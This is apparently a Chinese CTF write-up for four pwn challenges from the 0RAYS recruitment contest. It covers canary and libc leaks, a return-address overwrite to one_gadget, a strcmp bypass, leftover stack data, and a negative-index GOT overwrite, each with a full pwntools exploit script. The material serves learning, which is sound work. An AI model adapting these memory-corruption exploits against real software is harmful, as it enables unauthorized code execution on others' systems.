• 0RAYS元旦招新赛


      一共有4道pwn题,题目不算难,但是挺考验调试能力的。

    pie

      一个main函数就四次溢出...

      第一次leak canary,第二次leak libc,第三次直接覆盖返回地址为one_gadgets,第四次摸鱼。感觉应该不是预期解,毕竟题目叫pie,程序本身有system("/bin/sh")也没有用到。

     1 from pwn import *
     2 
     3 p = process(['./pie'],env={"LD_PRELOAD":"./libc.so.6"})
     4 #p = process('./pie')
     5 elf = ELF('./pie')
     6 libc = ELF('./libc.so.6')
     7 context.log_level = 'debug'
     8 
     9 og = [0x4f3d5,0x4f432,0x10a41c]
    10 
    11 p.sendafter('name?
    ','a'*0x18+'b')
    12 p.recvuntil('b')
    13 canary = u64(p.recv(7).rjust(8,'x00'))
    14 print 'canary-->'+hex(canary)
    15 
    16 p.sendafter('from?
    ','a'*0x20+'bbbbbbbb')
    17 p.recvuntil('bbbbbbbb')
    18 libc_base = u64(p.recv(6).ljust(8,'x00'))-231-libc.symbols['__libc_start_main']
    19 print 'libc_base'+hex(libc_base)
    20 shell = libc_base+og[0]
    21 
    22 p.sendafter('know?
    ',p64(libc_base)+'a'*0x10+p64(canary)+'bbbbbbbb'+p64(shell))
    23 p.sendafter('no)
    ','nox00')
    24 p.recv()
    25 p.interactive()

    QAQ

      此题不适合看伪代码,得直接看汇编。

      只有一个输入。还是需要读一下汇编。

      执行完call,返回值一般是保存在eax中,这里执行了test eax,eax,其实就是在改变标志寄存器,我们这里需要让strcmp的返回值是0,这样就能跳转到loc_8048547这里。

      看栈空间就可以知道,buf和s2,就是相比较的这两个字符串相差10个字节。

      我们写payload='a'*9+'x00'+'a'*9+'x00',并且在跳转那里下断点。

      第一次跳转之后,还有一层需要绕过。

      判断ebp+var_44的值和1Bh是否相等,如果相等才能执行system("/bin/sh")。看栈空间分布,发现这个我们没办法赋值。

      在buf上面,没办法写入。这个时候我又看上面的汇编。

      发现有一处就是给这个位置赋值的,是将ebp+0xarg_0赋值给这个位置。而ebp+0xarg_0是在返回地址下面。距离也很好算,用静态分析,动态分析都能看出怎么多远。这题就算是做完了。

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 context.log_level = 'debug'
     5 
     6 #gdb.attach(p,'b *0x08048534')
     7 
     8 sleep(0.1)
     9 p.send('aaaaaaaaax00'+'aaaaaaaaax00aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaax1b')
    10 p.interactive()

    easyStack

      64位程序,没开pie。

      主要就是要让shell大于3920,进入backdoor,里面有shell。

      在question中,有一个scanf函数是往v1里面写值。而v1是栈上的,而且不受我们控制。我当时想了半天也不知道怎么做。在name函数中也没有发现漏洞点。

      后来想到以前做过一道栈数据残留的题,然后就cyclic 100,写入数据,在question中scanf那里下断点。看看这个时候的v1是多少。

      果然name函数的值没有被清空,残留到了这个栈里面。此时v1是让paaa填充的。所以我们将cyclic生成的paaa处写入p32(shell),然后写入一个大于3920的数字,顺利执行就能拿到shell了。

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 elf = ELF('./pwn')
     5 context.log_level = 'debug'
     6 
     7 def duan():
     8     gdb.attach(p)
     9     pause()
    10 shell = 0x060108C
    11 payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa'+p32(shell)
    12 
    13 p.sendafter('name?
    ',payload)
    14 p.sendafter('else?
    ','pwner')
    15 p.sendlineafter('1/0]
    ','4000')
    16 p.recv()
    17 p.interactive()

    PTT0的记账本

      题目其实已经给提示了。。。

      看着像一道heap,其实并不是。。。感觉我应该是写的比较麻烦了。漏洞点就是在写index的时候,写成负数,虽然是在bss段,但是上面就是got段,将指针申请上去,可以泄露libc基地址,然后改写got表。直接放exp了。

     1 from pwn import *
     2 
     3 p = process(['./book'],env={"LD_PRELOAD":"./libc.so.6"})
     4 #p = process('./book')
     5 elf = ELF('./book')
     6 libc = ELF('./libc.so.6')
     7 context.log_level = 'debug'
     8 
     9 og = [0x4f3d5,0x4f432,0x10a41c]
    10 
    11 def duan():
    12     gdb.attach(p)
    13     pause()
    14 
    15 def add(index,time,deaeline,money,interest,name):
    16     p.sendlineafter('>> ','1')
    17     p.sendlineafter('index:',str(index))
    18     p.sendlineafter('time: ',str(time))
    19     p.sendlineafter('deadline: ',str(deaeline))
    20     p.sendlineafter('money: ',str(money))
    21     p.sendlineafter('interest: ',str(interest))
    22     p.sendafter('name: ',name)
    23 
    24 def delete(index):
    25     p.sendlineafter('>> ','2')
    26     p.sendlineafter('index:',str(index))
    27 
    28 def show(index):
    29     p.sendlineafter('>> ','3')
    30     p.sendlineafter('index:',str(index))
    31 
    32 
    33 show(-6)
    34 p.recvuntil('time: ')
    35 time = int(p.recvuntil('
    ')[:-1])
    36 print 'time-->'+hex(time)
    37 
    38 p.recvuntil('deadline: ')
    39 deadline = int(p.recvuntil('
    ')[:-1])
    40 print 'deadline-->'+hex(deadline)
    41 
    42 #leak libc
    43 p.recvuntil('money: ')
    44 money = p.recvuntil('
    ')[:-1]
    45 p.recvuntil('interest: ')
    46 interest = p.recvuntil('
    ')[:-1]
    47 printf_got = str(hex(int(interest)))+str(hex(int(money)))
    48 printf_got = int(printf_got[:6]+printf_got[8:],16)
    49 print 'print_got-->'+hex(printf_got)
    50 libc_base = printf_got-libc.symbols['printf']
    51 print 'libc_base-->'+hex(libc_base)
    52 
    53 for i in range(len(og)):
    54     print str(i)+'-->'+hex(libc_base+og[i])
    55 shell = str(hex(libc_base+og[2]))
    56 payload = int('0x'+shell[-8:],16)
    57 print payload
    58 
    59 p.sendlineafter('>> ','1')
    60 p.sendlineafter('index:',str(-6))
    61 p.sendlineafter('time: ',str(0xaa))
    62 p.sendlineafter('deadline: ',str(0xbb))
    63 p.sendlineafter('money: ',str(payload))
    64 p.interactive()

      因为做的人不多,题目难度不大,赶着做还是拿了两道题的一血,两道题的二血,也有一些收获,总之还是很开兴的。

  • 相关阅读:
    随机生成密码
    vue 仿新闻项目笔记
    vuex 随笔
    SourceTree
    vue npm,Git随笔
    谷歌浏览器如何去掉自动填充的背景色
    hold 命令
    ind2vec和vec2ind函数
    稀疏矩阵(sparse matrix)
    第五篇 学习OpenCV之视频处理
  • 原文地址:https://www.cnblogs.com/bhxdn/p/14223501.html
Copyright © 2020-2023  润新知